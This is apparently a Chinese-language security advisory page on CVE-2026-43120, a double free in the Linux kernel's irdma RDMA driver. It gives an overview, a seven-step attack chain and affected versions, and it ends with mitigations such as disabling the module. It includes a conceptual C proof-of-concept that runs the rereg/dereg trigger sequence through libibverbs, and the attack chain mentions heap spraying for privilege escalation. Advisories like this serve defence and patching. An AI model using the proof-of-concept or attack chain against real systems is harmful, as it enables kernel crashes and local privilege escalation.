IPBUF安全漏洞报告
English
CVE-2026-43120 CVSS 7.8 高危

CVE-2026-43120: Linux内核RDMA双重释放漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43120
漏洞类型
双重释放
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRDMADouble FreeMemory CorruptionLocalPrivilege Escalation

漏洞概述

Linux内核的RDMA/irdma驱动组件中存在一个严重的双重释放漏洞。该问题源于在处理内存区域重注册操作时,如果指定了IB_MR_REREG_TRANS标志,驱动会尝试分配新的用户内存区域(umem)。若分配后的后续步骤失败,驱动虽然释放了umem,却未将相关结构体中的region指针置空。这导致错误处理流程返回用户态后,用户程序调用标准的注销接口时,内核会误判指针有效性并再次尝试释放同一块内存,从而触发双重释放。此漏洞可被本地低权限攻击者利用,导致内核崩溃或潜在的权限提升。

技术细节

漏洞原理在于irdma驱动中rereg_user_mr函数的错误处理逻辑缺陷。当执行irdma_rereg_mr_trans时,若在ib_umem_get分配新内存成功后,后续逻辑(如硬件操作或资源检查)失败,代码进入错误分支释放了刚分配的umem,但未清除iwmr->region指针。攻击者通过构造特定的RDMA应用,触发含有IB_MR_REREG_TRANS的重注册请求并人为制造失败条件(如资源耗尽)。当内核返回错误后,应用调用ibv_dereg_mr。内核的dereg_mr路径检查到iwmr->region不为NULL,便再次调用ib_umem_release。这种“释放后使用”或“双重释放”导致内核堆元数据损坏,攻击者可利用堆喷射等技术覆盖敏感数据,从而实现本地提权或拒绝服务攻击。

攻击链分析

STEP 1
1. 获取本地低权限访问
攻击者获取目标Linux系统的本地低权限用户访问权限。
STEP 2
2. 编写恶意RDMA程序
攻击者编写一个利用libibverbs的用户空间程序,用于操作RDMA设备。
STEP 3
3. 触发重注册内存区域
程序调用ibv_rereg_mr函数,并传入IBV_REREG_TRANS标志,设置irdma驱动进入irdma_rereg_mr_trans路径。
STEP 4
4. 制造内核操作失败
通过特定的参数或资源状态,使得内核在分配新的umem后,后续步骤执行失败(例如硬件资源不足),触发错误处理分支。
STEP 5
5. 诱导执行注销操作
错误返回用户态后,程序按照常规错误处理逻辑调用ibv_dereg_mr尝试清理资源。
STEP 6
6. 触发双重释放
内核dereg_mr路径检测到iwmr->region指针未被置空,再次调用ib_umem_release,导致同一块内存被释放两次,破坏内核堆。
STEP 7
7. 实现攻击目的
利用堆破坏导致的内核崩溃(DoS)或进一步利用堆布局实现权限提升(LPE)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-43120 // Requires libibverbs and a vulnerable RDMA device (irdma) #include <infiniband/verbs.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> int main() { struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_mr *mr; void *buf; size_t length = 4096; // 1. Open device and allocate Protection Domain // Note: Actual device opening requires specific device name int num_devices; struct ibv_device **dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices == 0) { perror("Failed to get RDMA devices"); return -1; } ctx = ibv_open_device(dev_list[0]); if (!ctx) { perror("Failed to open device"); return -1; } pd = ibv_alloc_pd(ctx); if (!pd) { perror("Failed to alloc PD"); return -1; } // 2. Register initial Memory Region buf = malloc(length); if (!buf) { perror("malloc failed"); return -1; } mr = ibv_reg_mr(pd, buf, length, IBV_ACCESS_LOCAL_WRITE); if (!mr) { perror("ibv_reg_mr failed"); return -1; } // 3. Attempt to reregister with IBV_REREG_TRANS // This flag triggers the vulnerable path in the kernel. // To trigger the bug, the kernel internal logic must fail // AFTER allocating the new umem. printf("Attempting to trigger vulnerable rereg_mr path...\n"); int ret = ibv_rereg_mr(mr, IBV_REREG_TRANS | IBV_REREG_ACCESS, pd, buf, length, IBV_ACCESS_LOCAL_WRITE); if (ret) { printf("Reregister failed as expected (error: %s).\n", strerror(ret)); // 4. Trigger the double free // The application assumes it should clean up the MR // because the previous operation failed. printf("Calling dereg_mr to trigger double free...\n"); ibv_dereg_mr(mr); printf("Double free likely triggered in kernel.\n"); } else { printf("Reregister succeeded. Vulnerability not triggered in this run.\n"); ibv_dereg_mr(mr); } free(buf); ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 0; }

影响范围

Linux Kernel (Versions prior to fix commit 5ac388db27c4)

防御指南

临时缓解措施
如果系统不需要使用RDMA功能,建议禁用irdma驱动模块(通过rmmod或blacklist)。对于需要使用RDMA的环境,应严格限制非特权用户对InfiniBand/RDMA设备的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表